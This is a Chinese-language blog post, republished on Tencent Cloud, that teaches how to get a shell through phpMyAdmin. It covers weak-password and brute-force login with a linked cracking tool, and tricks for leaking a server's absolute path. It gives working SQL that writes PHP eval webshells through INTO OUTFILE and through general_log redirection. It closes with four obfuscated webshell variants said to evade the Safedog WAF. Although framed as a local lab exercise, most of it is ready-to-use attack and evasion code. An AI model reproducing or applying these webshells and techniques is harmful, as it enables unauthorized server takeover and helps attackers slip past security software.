前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >phpMyAdmin渗透思路

phpMyAdmin渗透思路

作者头像
LuckySec
发布2022-11-02 13:27:17
1.1K0
发布2022-11-02 13:27:17
举报
文章被收录于专栏:LuckySec网络安全

0x001 前言

  phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。

  在对目标进行信息收集时,若存在phpMyAdmin目录,尝试通过弱口令或者暴力破解进入数据库,之后进一步getShell。

  • phpMyAdmin多线程破解工具 点击下载 提取码: pkij

0x002 实验环境

  1. VMare 15.5 pro
  2. windows7 64位
  3. phpStudy 集成环境

0x003 getShell 前提

  1. 管理员root权限
  2. 知道网站的物理路径
  3. 具有读写权限

0x004 爆网站路径方法

插入一句话木马时是需要知道网站绝对路径的,这里总结一下爆路径的方法。

单引号爆路径

直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。

代码语言:javascript
复制
www.xxx.com/news.php?id=1′

错误参数值爆路径

将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。

代码语言:javascript
复制
www.xxx.com/researcharchive.php?id=-1

Google爆路径

结合关键字和site语法搜索出错页面的网页快照,常见关键字有warningfatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。

代码语言:javascript
复制
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”

测试文件爆路径

很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()

代码语言:javascript
复制
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php

phpmyadmin爆路径

一旦找到phpMyAdmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpMyAdmin的地址可以用AppScan这类的工具去扫,也可以选择Google。

代码语言:javascript
复制
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

配置文件找路径

如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。

代码语言:javascript
复制
Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件


Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件

Nginx文件类型错误解析爆路径

说明: 要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,有可能爆出物理路径

代码语言:javascript
复制
www.xxx.com/xx.jpg/x.php

0x005 into outfile


最基础的getShell方法是写入一句话木马

代码语言:javascript
复制
select '<?php eval($_POST[cmd]); ?>' into outfile '网站物理路径';

在新版本MySQL中如果直接执行这句话是肯定报错的,因为在新版本中默认设置了 secure_file_priv 限制了SQL文件导入导出

代码语言:javascript
复制
#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

在写入一句话木马前,我们需先对读写权限进行检查,看看能否支持写入一句话

0x006 MySQL 读写权限检测

  1. secure_file_priv 会对读写文件产生影响,该参数用来限制导入导出。
代码语言:javascript
复制
查询语句
show global variables like '%secure%';

查询结果
Variable_name 	Value
secure_auth 	OFF
secure_file_priv 	NULL

secure-file-priv特性

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

  1. secure_file_priv的值为null ,表示限制MySQL 不允许导入|导出
  2. secure_file_priv的值为/tmp/ ,表示限制MySQL 的导入|导出只能发生在/tmp/目录下
  3. secure_file_priv的值没有具体值时,表示不对 MySQL 的导入|导出做限制

要想使得该语句导出成功,则需要在MySQL文件夹下修改 my.ini 文件, 在[mysqld]下加入以下内容,然后重启MySQL即可

代码语言:javascript
复制
secure_auth = ON
secure_file_priv =

更改后配置后,再进行导入一句话

代码语言:javascript
复制
SQL语句
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpstudy/www/shell.php'

执行结果
您的 SQL 语句已成功运行 ( 查询花费 0.0010 秒 )

然后使用工具菜刀或者冰蝎连接

getShell
getShell

0x007 日志文件写Shell


MySQL 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getShell。但是也要对生成的日志有可读可写的权限。

提示:在linux环境下可能会存在权限问题,无法执行成功,本次实验在windows环境下进行。

查看日志状态

代码语言:javascript
复制
SQL语句
show variables  like  '%general%';

执行结果
general_log 	OFF
general_log_file 	C:\phpStudy\MySQL\data\lucky-PC.log

当开启general时,所执行的SQL语句都会出现在lucky-PC.log文件

如果修改general_loggeneral_log_file的值,那么所执行的SQL语句就会对应生成,从而getShell

代码语言:javascript
复制
SET GLOBAL general_log='on'
SET GLOBAL general_log_file='C:/phpStudy/www/shell_log.php'

将一句话木马写入shell.log.php文件,执行SQL语句

代码语言:javascript
复制
SELECT '<?php eval($_POST["cmd"]);?>'

此时可以看到在网站目录下生成了shell_log.php文件

shell_log
shell_log

再用工具连接成功

getShell
getShell

0x008 绕过安全狗


测试环境: 安全狗 Apache:V4.0 点击下载

安装时可能遇到无法找到服务名问题,点击查看问题解决

安全狗测试: 检测一下上述实验的两个一句话木马shell文件,很容易被检测出来了。

1. 简易一句话木马

代码语言:javascript
复制
<?php eval($_POST["cmd"]); ?>

这样写容易被安全狗这些拦截,所以可以考虑替换某些函数,比如eval()换成assert()或者reate_function()或者是call_user_func()

2. 字符拼接加双美元符

代码语言:javascript
复制
<?php
$a='ass';
$b='ert';
$funcName=$a.$b;
$x='funcName';
$$x($_REQUEST['a']);
?>

3. 用函数强行分割

代码语言:javascript
复制
<?php
function a($a){
return $a;}
eval (a($_REQUEST)['a']);
?>

4. 用类分割

代码语言:javascript
复制
<?php
class User
{public $name=' ';
function __destruct(){
eval("$this->name");
}
}
$user=new User;
$user->name=' '.$_REQUEST['a'];
?>

以上总结的一句话,经过测试,除了第1种简易一句话,其余3种均可以绕过安全狗。

getShell
getShell

参考文章

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-01-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x001 前言
  • 0x002 实验环境
  • 0x003 getShell 前提
  • 0x004 爆网站路径方法
  • 0x005 into outfile
  • 0x006 MySQL 读写权限检测
  • 0x007 日志文件写Shell
  • 0x008 绕过安全狗
  • 参考文章
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档